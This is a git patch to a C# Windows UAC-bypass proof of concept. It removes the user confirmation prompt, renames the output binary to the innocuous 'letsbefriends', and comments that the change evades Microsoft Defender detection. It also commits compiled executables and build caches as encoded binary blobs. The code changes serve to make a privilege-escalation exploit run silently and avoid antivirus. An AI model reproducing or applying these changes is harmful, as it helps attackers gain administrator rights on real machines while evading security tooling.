From bcab65cd93d4309b4baeb03093ccf146a13bffdd Mon Sep 17 00:00:00 2001
From: 0xyg3n <0xyg3n@users.noreply.github.com>
Date: Fri, 5 Feb 2021 22:07:44 +0200
Subject: [PATCH] Source code updated for defender bypass

---
 UAC_Bypass_POC/Program.cs                     |  25 +++-------
 .../Properties/Resources.Designer.cs          |  44 +++++++-----------
 .../Properties/Settings.Designer.cs           |  22 ++++-----
 UAC_Bypass_POC/UAC_Bypass_POC.csproj          |  10 +++-
 UAC_Bypass_POC/app.config                     |   3 ++
 ...gnTimeResolveAssemblyReferencesInput.cache | Bin 7009 -> 7112 bytes
 .../Properties.Resources.Designer.cs.dll      | Bin 0 -> 3584 bytes
 ..._Bypass_POC.Properties.Resources.resources | Bin 180 -> 180 bytes
 ..._Bypass_POC.csproj.CoreCompileInputs.cache |   2 +-
 ...UAC_Bypass_POC.csproj.FileListAbsolute.txt |   9 ++++
 ...C_Bypass_POC.csproj.GenerateResource.cache | Bin 954 -> 789 bytes
 ...C_Bypass_POC.csprojAssemblyReference.cache | Bin 2357 -> 424 bytes
 UAC_Bypass_POC/obj/Debug/letsbefriends.exe    | Bin 0 -> 8704 bytes
 UAC_Bypass_POC/obj/Debug/letsbefriends.pdb    | Bin 0 -> 28160 bytes
 .../Properties.Resources.Designer.cs.dll      | Bin 0 -> 3584 bytes
 ..._Bypass_POC.Properties.Resources.resources | Bin 0 -> 180 bytes
 ..._Bypass_POC.csproj.CoreCompileInputs.cache |   1 +
 ...UAC_Bypass_POC.csproj.FileListAbsolute.txt |   8 ++++
 ...C_Bypass_POC.csproj.GenerateResource.cache | Bin 0 -> 789 bytes
 UAC_Bypass_POC/obj/Release/letsbefriends.exe  | Bin 0 -> 8704 bytes
 UAC_Bypass_POC/obj/Release/letsbefriends.pdb  | Bin 0 -> 28160 bytes
 21 files changed, 63 insertions(+), 61 deletions(-)
 create mode 100644 UAC_Bypass_POC/app.config
 create mode 100644 UAC_Bypass_POC/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
 create mode 100644 UAC_Bypass_POC/obj/Debug/letsbefriends.exe
 create mode 100644 UAC_Bypass_POC/obj/Debug/letsbefriends.pdb
 create mode 100644 UAC_Bypass_POC/obj/Release/TempPE/Properties.Resources.Designer.cs.dll
 create mode 100644 UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.Properties.Resources.resources
 create mode 100644 UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
 create mode 100644 UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.FileListAbsolute.txt
 create mode 100644 UAC_Bypass_POC/obj/Release/UAC_Bypass_POC.csproj.GenerateResource.cache
 create mode 100644 UAC_Bypass_POC/obj/Release/letsbefriends.exe
 create mode 100644 UAC_Bypass_POC/obj/Release/letsbefriends.pdb

diff --git a/UAC_Bypass_POC/Program.cs b/UAC_Bypass_POC/Program.cs
index 6230c7b..79790ff 100644
--- a/UAC_Bypass_POC/Program.cs
+++ b/UAC_Bypass_POC/Program.cs
@@ -4,7 +4,6 @@
 using System.Diagnostics;
 using System.Management;
 using System.Security.Principal;
-using System.Windows.Forms;
 #endregion
 
 namespace UAC_Bypass_POC
@@ -125,30 +124,18 @@ static void Main()
             {
                 if (!IsAdministrator())
                 {
-                    DialogResult result = MessageBox.Show("Process is not elevated want to exploit?", "UAC_Bypass_POC", MessageBoxButtons.YesNoCancel);
-
-                    if (result == DialogResult.Yes)
-                    {
-                        Bypass.UAC();
-                    }
-                    else if (result == DialogResult.Cancel)
-                    {
-                        Environment.Exit(0);
-                    }
-                    else if (result == DialogResult.No)
-                    {
-                        Environment.Exit(0);
-                    }
+                    Bypass.UAC();
 
                 }
                 else if (IsAdministrator()) 
                 {
-                    string command = "/c start cmd.exe "; //once elevated what to run.
-                    Process.Start("CMD.exe", command); 
+                    //this method seems to bypass defender
+                    //5-02-2021 and binary is not flagged
+                    string WhatToElevate = "cmd.exe"; // cmd.exe will be elevated as an example and PoC
+                    Process.Start("CMD.exe", "/c start " + WhatToElevate); 
                     RegistryKey uac_clean = Registry.CurrentUser.OpenSubKey("Software\\Classes\\ms-settings", true);
-                    uac_clean.DeleteSubKeyTree("shell");
+                    uac_clean.DeleteSubKeyTree("shell"); //deleting this is important because if we won't delete that right click of windows will break.
                     uac_clean.Close();
-                    System.Windows.Forms.MessageBox.Show("Process Elevated!");
                 }
                   
             }catch { Environment.Exit(0); }
diff --git a/UAC_Bypass_POC/Properties/Resources.Designer.cs b/UAC_Bypass_POC/Properties/Resources.Designer.cs
index 1183e51..963f6e7 100644
--- a/UAC_Bypass_POC/Properties/Resources.Designer.cs
+++ b/UAC_Bypass_POC/Properties/Resources.Designer.cs
@@ -8,10 +8,10 @@
 // </auto-generated>
 //------------------------------------------------------------------------------
 
-namespace UAC_Bypass_POC.Properties
-{
-
-
+namespace UAC_Bypass_POC.Properties {
+    using System;
+    
+    
     /// <summary>
     ///   A strongly-typed resource class, for looking up localized strings, etc.
     /// </summary>
@@ -19,51 +19,43 @@ namespace UAC_Bypass_POC.Properties
     // class via a tool like ResGen or Visual Studio.
     // To add or remove a member, edit your .ResX file then rerun ResGen
     // with the /str option, or rebuild your VS project.
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
     [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
     [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    internal class Resources
-    {
-
+    internal class Resources {
+        
         private static global::System.Resources.ResourceManager resourceMan;
-
+        
         private static global::System.Globalization.CultureInfo resourceCulture;
-
+        
         [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
-        internal Resources()
-        {
+        internal Resources() {
         }
-
+        
         /// <summary>
         ///   Returns the cached ResourceManager instance used by this class.
         /// </summary>
         [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Resources.ResourceManager ResourceManager
-        {
-            get
-            {
-                if ((resourceMan == null))
-                {
+        internal static global::System.Resources.ResourceManager ResourceManager {
+            get {
+                if (object.ReferenceEquals(resourceMan, null)) {
                     global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("UAC_Bypass_POC.Properties.Resources", typeof(Resources).Assembly);
                     resourceMan = temp;
                 }
                 return resourceMan;
             }
         }
-
+        
         /// <summary>
         ///   Overrides the current thread's CurrentUICulture property for all
         ///   resource lookups using this strongly typed resource class.
         /// </summary>
         [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
-        internal static global::System.Globalization.CultureInfo Culture
-        {
-            get
-            {
+        internal static global::System.Globalization.CultureInfo Culture {
+            get {
                 return resourceCulture;
             }
-            set
-            {
+            set {
                 resourceCulture = value;
             }
         }
diff --git a/UAC_Bypass_POC/Properties/Settings.Designer.cs b/UAC_Bypass_POC/Properties/Settings.Designer.cs
index 76f57eb..9c99891 100644
--- a/UAC_Bypass_POC/Properties/Settings.Designer.cs
+++ b/UAC_Bypass_POC/Properties/Settings.Designer.cs
@@ -8,21 +8,17 @@
 // </auto-generated>
 //------------------------------------------------------------------------------
 
-namespace UAC_Bypass_POC.Properties
-{
-
-
+namespace UAC_Bypass_POC.Properties {
+    
+    
     [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
-    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
-    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
-    {
-
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.7.0.0")]
+    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
+        
         private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
-
-        public static Settings Default
-        {
-            get
-            {
+        
+        public static Settings Default {
+            get {
                 return defaultInstance;
             }
         }
diff --git a/UAC_Bypass_POC/UAC_Bypass_POC.csproj b/UAC_Bypass_POC/UAC_Bypass_POC.csproj
index b6e1ef7..f5537e0 100644
--- a/UAC_Bypass_POC/UAC_Bypass_POC.csproj
+++ b/UAC_Bypass_POC/UAC_Bypass_POC.csproj
@@ -7,10 +7,11 @@
     <ProjectGuid>{FA30222D-992E-4925-99E2-E75FABAF2051}</ProjectGuid>
     <OutputType>WinExe</OutputType>
     <RootNamespace>UAC_Bypass_POC</RootNamespace>
-    <AssemblyName>UAC_Bypass_POC</AssemblyName>
-    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <AssemblyName>letsbefriends</AssemblyName>
+    <TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
     <FileAlignment>512</FileAlignment>
     <Deterministic>true</Deterministic>
+    <TargetFrameworkProfile />
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
     <PlatformTarget>AnyCPU</PlatformTarget>
@@ -31,6 +32,9 @@
     <ErrorReport>prompt</ErrorReport>
     <WarningLevel>4</WarningLevel>
   </PropertyGroup>
+  <PropertyGroup>
+    <StartupObject>UAC_Bypass_POC.Program</StartupObject>
+  </PropertyGroup>
   <ItemGroup>
     <Reference Include="System" />
     <Reference Include="System.Core" />
@@ -55,7 +59,9 @@
     <Compile Include="Properties\Resources.Designer.cs">
       <AutoGen>True</AutoGen>
       <DependentUpon>Resources.resx</DependentUpon>
+      <DesignTime>True</DesignTime>
     </Compile>
+    <None Include="app.config" />
     <None Include="Properties\Settings.settings">
       <Generator>SettingsSingleFileGenerator</Generator>
       <LastGenOutput>Settings.Designer.cs</LastGenOutput>
diff --git a/UAC_Bypass_POC/app.config b/UAC_Bypass_POC/app.config
new file mode 100644
index 0000000..cf7e7ab
--- /dev/null
+++ b/UAC_Bypass_POC/app.config
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
diff --git a/UAC_Bypass_POC/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/UAC_Bypass_POC/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
index 42bbf9bd5ca5bb4e4aaa83acf8ffbe322a58a4a6..bd56c29c84323915afdbea789d3c2d45ad91ce06 100644
GIT binary patch
literal 7112
zcmeHMdsEv+5Vv_;FoYD-ln`hVr%l@=byf2)5T?u&Y}_(UQpR>3Gl(H)>1-}YI`{5`
zaTz{KKS8G-vE7wznO9Q6h#CH{7_X0e{C01(I{kJXi^pQIf8oM!yl(b^uwQUX3MH!A
zc+Hhhos#x#E{vRTUEyuy*VC!jOe!wCm6-)2gMaB%&Udsg*^0+}Evb`EZTc05Tfebp
zS?n=yrIMMeW~+<UnHf8qp>uQ)RW5x%)0)p68})5?nn_WABWb<Pq*0`D!>jvR-G#+>
zspE(Svsaa3ZpCS?A86*GRcaJw=Y&_~wE}n8ghf4@+f=j8Ozc(DRo`(6lDe!R<X&f}
zOe-*U`@~p5I5zC}K6aL=tT7!fEBO`0^h*Fyk9f@!lI2;If-5#WrNO?gbuHkhAD`5M
zYfZhw&xg2orvLb=lmq)z`jnY@E}5l;<V=m#ZB1o~QEBaNQoXCjYNt9z>QYp}L%6GP
z$!c6_+3YSzz{WH~7fu1tac3OUGI46?h4A<ulMm1D&U00FXcHBlUf2$_>DIzcDJ-Ux
zkgH%l*RUrDx%Luf7ky82m$jFiMrwIUP5O!zS(QoV0aQT>7eL<w(k<EP4ctQdNIxO5
zSU<?Vcsx$v12We4*I=osG;<+5;r?101J3w`c}#N4cn;2bH?y_%kty&*yrz!NHYu0y
zX2Yo^ExA`qr(9(T>F`ST8JoZGBeu9mvsQLt=Gojl%Pc+HPJhgfYijCM_+dL*w_bC&
zc)S;)R}n?w({vT!*F2^oet>!bdKEF$3(%-uoZE5a!HIql!-)ZG4x#`$5KG(u0bfHX
z5-5gIjDQ#>H$le8D2TPgVw*WFmw-q&sAOhHc1`2udO75f>HRq)o9+<MHrZT1I3l+I
z=P<WyzEZ$GO`GkTdC~A3L2YHeTFvdOAJiSe^$#xP-uWGC%{o<TXY==*DJt*HJgfLM
zkP2968JJR$DdFsgw75%)42xR3Eb$rcW(>sCNrOA=9}Oo-7#}||o(lTMp?@G~eU2?x
zafjT7*6{u;5Snaeadt8B1^gcyPNJXjLncrd4eq%%xdZJ1!*(1p8MN2|OX96S?-Jzy
z#i(2Z*@9sO=>nMoTstaUAeNA{XdvBYiD?b=P8pCb1Pw9`nwCM+8}8Ynp}N6=t~A5o
zFuUF|JJc|6%9pUd4C_Hj4U(8tkkh0dA1p0AF~b{~YDX2C(2c%h;BW)YkgG}-Am0Pz
zYLv)%s;PkjywFY30$uk(*UG1Pp>1veiqY`^Aaa+3VDS7jUFPY)mJ|RjT?z=zcnGV1
zzSQcxq!977z=p3by_px(qcs+8=4${dT*{nwKpF)hT@@Jh2(W&-6xLhU2@t*kgtveY
zS+FATbMF0t=mU5*_ZUTwQAC<MM@`6s_uCHCEL=6Xqxhd}XlK7wM1zrk2Es%5Y)zq8
zFu?NR2WuNw5%*Ew{D{-1t?i+q#J6zjb*>~bQ#=OAcOcdyIcdpbfO>q9V;@Nbc@mN0
zj7gqeTrtf49%dUCF*Br{W)e9()}Kil#6SV+x^d+50m(n^*EkaVGrdV<{CFji^`q;F
z0b=qncW$Bii2Mkn<A=X;Ph)8jYmOUm4jhpT^iLg@&#$63kH`#+N0CU(0?z1Rkv5Pd
zVwLrX%t2RV1iAwGM=Q5TV#*K%;yg4W3dAfxT|5vMB2o;YwRmyGFnbARe`+8G2@tHi
b5ky_*SD604d+&q)`#GuiJ_yVF+av!0oM0~A

delta 903
zcma))-AV#M6vy4D4Jyqnun$cm!oJ*$q9`b`RkI)yE$U)RMxAnT){&X*LqhVd2iO<r
z5sF@*%if`@-lQ{IbfZh%EW?@K|98%?=Y9Qi?fJ1kv8u!t<D6roNE#_h%9!!wT~qeB
zT&}9Rshw~rXk~n(aeB>4SYx<Oxpop)3%iXv;=GVOQmv1Eyagh82vS}plROTm7&7oJ
zW!3Pi?1O6ejkq5cCxh!m9)VMzs3|M4mE{fVVPJdi_}~39?r6_A7_O{0_fAwa{OzX+
zsdlKB80GZRRMdP0vAR+wM4o^|K_q56Bn)1njOaz13;<aa<ZK5r-{2-T6qPb;!$E*e
z0sGov>%tR}{xT(yiEL8{Och~L+D+O|+XSu?+Awg<v?F1NoQue`b40v-3OMXEWOHy-
z`m66Ds-Y|V+jkm#RVUwocTz&)GU7bcnL+Fa%z)_9LG=3K4fOO$K*$mJ<OCLMR}S^U
zrA^IRUH(03-a7CH#}=UIyHD#iGmFehicw=9ep^#sv|9d<6t$lGu~S%;PRp-A)P0{r
kw<(?A3@ma}UV_r@zxQ)}H1s`o3}W`!9d_fjHJ0xB0s-O{%K!iX

diff --git a/UAC_Bypass_POC/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/UAC_Bypass_POC/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
new file mode 100644
index 0000000000000000000000000000000000000000..12c2f522800b96efed1d96d3a9843212a5cfd838
GIT binary patch
literal 3584
zcmeHJU2GIp6h3#l-7ZTh?V<!C>a?Y%KQL)QL?W8*Pic$P)@}=_!L+lpx67E>nPq0S
zu$Yh<g@`dmV`9RaQJ+jOnixgJH(xLzA?S<BLlZSV`rv~~K>Y5VnQr+BF}%v%opaCm
z&bjB_bM8HNX6(5)sey=Mc&=Y3I*VSkK}qjS7NKr=_{$dhbk&9Svuxjm_Nharr&e62
z<mzSB&~4lC)dE-Ds;!!~nj6onWv9rsHEWWaL)Q~SMEjURf4~3WTnNz;b*QUZKT#5h
z5}-eJqgU|^;vs64Jal5+qD4K;K?uh*(BKJSD*p986a|F#D*TQI?Ct3wQS<FJcScpB
z#0rZ9<dGG!=JTUI<RxJQ-O5-Y$)*y`X)d=MBV5BEU=iC*3j&-0dROfn;ulS<O`%4*
zsuI24M8pJm7wr+H8xdjSdWqKcE3^wf;H!;}gU0Urhb7}%I>?1kxrk7d?p3gMV4w6>
zgRE{^6n24ia~~z(27VYpDME)I&{(pM;=LWDEDE7F(&HRM4;t!~ZX_y6z5Bg5QM`K%
z1Rq*uQJBDSCcihs!bn9*7q)5r+K&F6+jc@gE-cVPn4$AH(f8=D3O?_<rd{%c#l=RP
zUG$yPdD?_2#4+m}o*vDi-vW6Kp>$>}rvO<r3}*-Ke~%$#qAP4Wtq=0t1`$h=4^l5z
zgvH7uA#jY7I&sF~Qp!ZHFu@}*>SZ-0PJ1Q2M)S&A`Vd2sbe__{mw?3SBN8^3l}jv6
z1IlUe?aCFFq|;=BwlP6pqF<q%B4N`n=^x5kB}uOX7c&L(1sQ9lca<-cc3?nRD}4uP
z2UgjLE%<>w3woHQK~<We2~~`KdBY55Wpq$VZzr}Y&qMkklxC;^>8nuURD$%4l-^1F
ztdtS+Pf|K5y(sjHl-}AftGF^Bj1D2MGYZ3;VxEnlN$LS@r2&cTl2iv>Pie^?M%iq}
zI)7LCXcS04nG!!m>tNACPtXCT;pCkl4aggy56~IPQYU=|+DCtZZU-HemWJdFXs^*G
z+DW^yE{2SV9UM>=Kx_0O=x@p*GzxI>G{PnZDr&EZVv8`ip`Af`#r{WaM4pP9u}i_$
z2&3I&PO)n7r>N{1j%%3(%GYe;kn7myF<zu1pVzCFKWclvZX28?tF~{J`BbgKM|8Vr
zaT?~nkoLGvIYfj=CGO8=F|z7%@>cLJ_nfM0@JN@gR4mibebce?-1kMTWOR?yP|@@q
zH{&`-JiTD?ys!J5vQD{TTHGDxHg^FO(>}_pP=#t4%HoYthjYA8EtR<YjAKuG+`XMr
zxUUbmY2Labm|HG%l3V&w$$52sm>FRPRl&4OzgE{S=vI{@wVuz*ny_(fZu`hRw`jt3
zD%|x=?rD=@c04V|J+p);HN(@2mL;D5WEjptQJ%+iyFRTwZ<eY^9FiS@!?<sB%RF`i
zILYTNZb-9mpGNI@NA78~Lip8@*T{`XY|aTn6FWqjf$am8T^M)H)JwMG`KIAT<HD@T
zl!$S8?k<=Huj`|PP_UCYA0lZUO{cT7nOa5nyxEEItX9t<MaPK73ojrDx$0bSj3uA;
zJYFtXHKO5Z)NPh#QP(x9kWL<cvowJ>d=}L^K`uGKIeH(pj)M$zQuYp2ff|w*Wi<L{
z$K)p?Cx^ej((>9l_u_eqsf;BWRAP-_+S(dbg|)Ouerr=xgOch>b>VhP?P_~6rcx>$
z7y48>*2Gdhf;0=|P--ag`LTohH$J*_sv(~0!qbDN85eu1OOPI12Vwx&X51SrmJkY%
z9zmKDEc~W;NL;&9%K8JYUO^=c9W{7G?Cuom{D{Y3*CcO*G^6d|UPb%tX;Y44c^ckh
zj$N{9qPUBZGE+6JB6kx5kKs*-AKsI~&kUod$4tX@JZIk5_M2W+xAK0qXgXR@UT_!I
z`tmW4fIN2C;(Krw!isj_ejsv>l?J!l$KiK~$o;p1R|R)#i@sL^&1}|jbCxxxn|5&D
jaV`r>Xs>s{hy3!p)yq9(IRk3&IeGc<W#k_7Kgz(r&;}ah

literal 0
HcmV?d00001

diff --git a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.Properties.Resources.resources b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.Properties.Resources.resources
index 6c05a9776bd7cbae976fdcec7e3a254e93018279..06c24d06c1cab750788146ce052b37770f3fa530 100644
GIT binary patch
delta 11
ScmdnOxP@_o1EbMI$6^2%5(BdU

delta 11
ScmdnOxP@_o1Ea}A$6^2%8UwWe

diff --git a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.CoreCompileInputs.cache b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
index d1a5158..a781025 100644
--- a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
+++ b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-4a428c8718106036af93efc06f3cc8ede8939aef
+c3b81b54c02bed525b40bf7302b9eb115baea318
diff --git a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.FileListAbsolute.txt b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.FileListAbsolute.txt
index f515e57..212d7a4 100644
--- a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.FileListAbsolute.txt
+++ b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.FileListAbsolute.txt
@@ -6,3 +6,12 @@ C:\Users\dev\source\repos\UAC_Bypass_POC\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC
 C:\Users\dev\source\repos\UAC_Bypass_POC\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.csproj.CoreCompileInputs.cache
 C:\Users\dev\source\repos\UAC_Bypass_POC\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.exe
 C:\Users\dev\source\repos\UAC_Bypass_POC\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.pdb
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.csprojAssemblyReference.cache
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.Properties.Resources.resources
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.csproj.GenerateResource.cache
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\UAC_Bypass_POC.csproj.CoreCompileInputs.cache
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Debug\letsbefriends.exe.config
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Debug\letsbefriends.exe
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\bin\Debug\letsbefriends.pdb
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\letsbefriends.exe
+C:\Users\dev\Downloads\UAC_Exploit-main\UAC_Exploit-main\UAC_Bypass_POC\obj\Debug\letsbefriends.pdb
diff --git a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.GenerateResource.cache b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csproj.GenerateResource.cache
index bbe69b9b45f2e52e5fd2874103eec61e99283fc0..df2219d728de0f9a6c12fe42490b98e9b629521e 100644
GIT binary patch
delta 193
zcmdnRK9y~P7-Q^YMn*BgGGjec9fh#eqT<Z_JX;`VqJ0Vv69WSSXHjZ#gj;6L#Dh{y
zER2&F)w#f;%s?rw$?=RaY%D+)3(Ms5jC;JeLF!pS1RIbL0I?W>n2jAsNCp(;7o--I
zWTqC!1f>?|mlh?b7V7~GuMhw!2C3uZ01~Vq!Vu)9$#TpMGMpfBkbVY^U8&|LZ*(vU
Jf`mYT8vv-ABMtxn

delta 324
zcmbQrwu^m&7-QUIMn*9q=lr5n9fh#eqT<Z_JX=FkJ;RB1DRL|f3=Et_sl^d)nK`M&
zf(7|SC5cHnsXm!WMTte36W2+pC<K=zmZXBDof3;vwd0FZi!u{)GOJQkpk}eKFi!lh
z!pJo7ubL<m&^RU#!O09FK&ErCPW&As!U|+Dg1BIDHXwtAb#g4@o_a8!9mwb804V{<
zfYiPTw6F(K3|w4b1)M-8Cl`<q04ZezVm59dAsJAVUyxc<l9^f@6O>w<Us{x$TC4~3
zPK5y2G@uer9v~qA(hmXxATvOK6(nrvn>jg^X^IRlkj)7)@5f*Jk2*(hbTA5ngg}5B
E0C;OZkpKVy

diff --git a/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csprojAssemblyReference.cache b/UAC_Bypass_POC/obj/Debug/UAC_Bypass_POC.csprojAssemblyReference.cache
index a381128e27143514a934d681a969c23671ef42aa..3153f7cbae6bb4a15459c69d02f236dbf832ea3d 100644
GIT binary patch
delta 28
ecmdlgw1RnqKO<ws<N!u5J_aBVU;~jrzzqOjIs{1o

literal 2357
zcmcJQ*>2N76o#F(SqhY`Yz17_mR6%gp->PN0=E$oEfi7}E&|mgK2EKSJz-|jh37!L
z32%YKi|`I`jvJ+58SZS!zn6TI|19GfD`Q#KFFfc<$7B}e<A&c=QcKUU=R;q(Y>Vr@
zW{y;_Xm5kkz6@9DORUanthQ)7Lt%yrRzesW#l@n%IqV3(`w|YfWFNwnPOafBc@MpM
z-Ce5j1}~7=Y_dn|P#XwZh8rNN?D+zsr`*iZPZ)&|&@~u>W-qwjHM}E$qAur9@+AL7
ziwIQKC3l;=YowYO<x|CQ9T^O`0#%~_ZTX)ek1us`n~Nc6%gR}WLbWtKisQ9%{g8|C
zn4fQ!pFW{5@+hb2ra(e=d3yDaag=3s$M1z$T!(A0GMOnFIEiO*0;TUfZf`2tQ#`Pn
zSPgB@9V|bXZ@&c(6og%{pJ@#NRvdJDT-0_GdDxe#-)67YwvM0n?z38Zl)^hdbmhKg
zO{oISTp@}jG~7+ka1{nZ9tIGa$gPZSCPg=HI9o+&fmu5+5YoIo%CmybJU!?4frt{U
zqD?Oan{k_&)7s@~5Sh`8NwIeuJmftX_wEF`by7%eG&QMhQC26>XD0=pKzF4QekU?H
zg(e?TFc~F7U)B^_c<EWtj9d4^Pf<Fw`apVKtBUXYVK1^egH|a{1KM)PXNs0ln&9QL
zB<D!ZlT4FbAh}3#iR3cL6_Oc}t0dP@3N&`%_}lq&Z#(K#w9_omDjVI=@|z2!o5!=C
z<ze21fi7y=lXO9uJy2OMw5)74o3YBJ3~fS|^X==8FW*bFtXC?P;&r;xn#&rsM*WeM
zq0lLgIB4Umzd%Ya37n0CRDvY%MjWIvC4o2NAeAx+ycGwj+)3c=I7lr?0`J5@YFiR`
bHx5#3lfbz+NbOGo=i?wvktFb546ObJiCCqn

diff --git a/UAC_Bypass_POC/obj/Debug/letsbefriends.exe b/UAC_Bypass_POC/obj/Debug/letsbefriends.exe
new file mode 100644
index 0000000000000000000000000000000000000000..5d7c2febb009bd60bcd3cba027e598f7d1e41cb4
GIT binary patch
literal 8704
zcmeHMe{3Abb$)w4_Kqj=Y##N~a^uxWRw$7?QKTe_ifD;EQu0}%MC&LDc4^SdyCJpF
z-tK94k0PByreoNs92c+})PNA7MdP5UlQxM_xt47-M$*=CgSc&4w`t%+O#-7qTLcE$
zKU&v_-0#iq@{Xcl%jh3Pf$nkN&b)c^=9@QfX5I`(AAE+QL=?mO!3RWF@#W{Bq#sTe
zQJlW(l{8&xdUMlN<>;H6#!nlrR(0%IN3Uol-Lh;?n--c=voyofhL0Duid`1DmX_3(
zK=s%N(NQHziNBfn<FK`#P?lCH-9+obN&4I;`|#E99>mK;!zbe7MoQx6FD>E)pPvXF
ze1hn9`B(o2Szm;9LGN)+A0&D!9xxj}4-+*bzqp5JZzKPs(%KSqDVaq6-iA6kPt1GB
zKfMkFWwNgUZsg>n5j~u9T&IMb#C8w~74IE*8=iwepL2w1Ly)o3!+2SjhPUB4NHo-t
zmC4g=S3Ha@LUG!UfqA->NI@Q^SKruO_X(E!sApq$jQ$fssNYKM8KRWi29i=W4T$X3
zNUy!FtV;C1$eJ98RohXZZgtRTnC!17EA`}8!(?;&8mO_?g0v)^_rPviXTy#uN;>Z&
zxAtjtLb)Sg+3=zik-Gt(yVu#UU5f5rYj2caXQM(@`%XXI!RcS&bo(bjx6-xvR-$Xv
zeiw4K#s$=|iJT=MZL!vvY+sT918rB}a<C%x{VBz71CqAxD8bEnNLuOqCg^cy(Nv^8
zi{v_cGiXX}kHQMlG|kD*^((||bSaf0wWWiawnJB2cZ8su=WZ)SR$o_AvT_F{w$nzG
z=_rfIGWTv-lT;g>N!gzSS=F&6VYegEOi2%8q_i}xz8>Y?w8dNFohmi8sn<4B!rlg%
zuD7nON^~X?HkwV*k3yrYZc{s`Rb?y+>=&W6)P0CnA&VzTN5}oXGnOOZU}|B2ozI}(
z?ZBn3N&s_nvZbjrMdv%9IYk|9lyJVxW6+6w4fqro{91EcER?uLYFiww#<!DiV}<tg
zQ8R{K$wu0{7++``3?NUHzz0*R^ukq%x)(NgP!hr$F*Yt_6B1uLK5WO73RvxMPN?WO
zBDt`^5J`7wc3uKV=Q|)tIfU&ww7k_H*tfy;hqR^1Srb8Lb}+1_zzflxt+cisYa4eB
zXv2Pp8ER%<*&6hNJHlg(slf9PegiZyInJF~ayCKpU&D@(_MK2=_kg&)AgdCKEayuH
zU4$M*4os8O122rFI!N7~rN|;@wuj|_gm&OjL3yNo7vtPM;ih4UcB}*`591hFWD(#S
zD&9Aw$d$rhcjkI>-MQV}eLZqbiIWNJ&8V>XJkdP9@4%Xyi=Jaxvutvj#A0Ov!RC`i
zdIL@HwAp<4WMLTJe?a~UmkpWrGz;TFRynoii%Ju^NdKku!sTS^7<l$Co(pnLz%B%^
zgvEx<%=Kg$^SLU^@s~)8`d^ith#FVvA0_=g<@MNY<UplLKUe-Ws?x~_(>;>DF6nPd
z`c+A<OPRk_ejZb)Ea?WxSJca>H5DBJeM(h;<v-#Z)D(S5(qBe5s6|=?s1*GS9F^9`
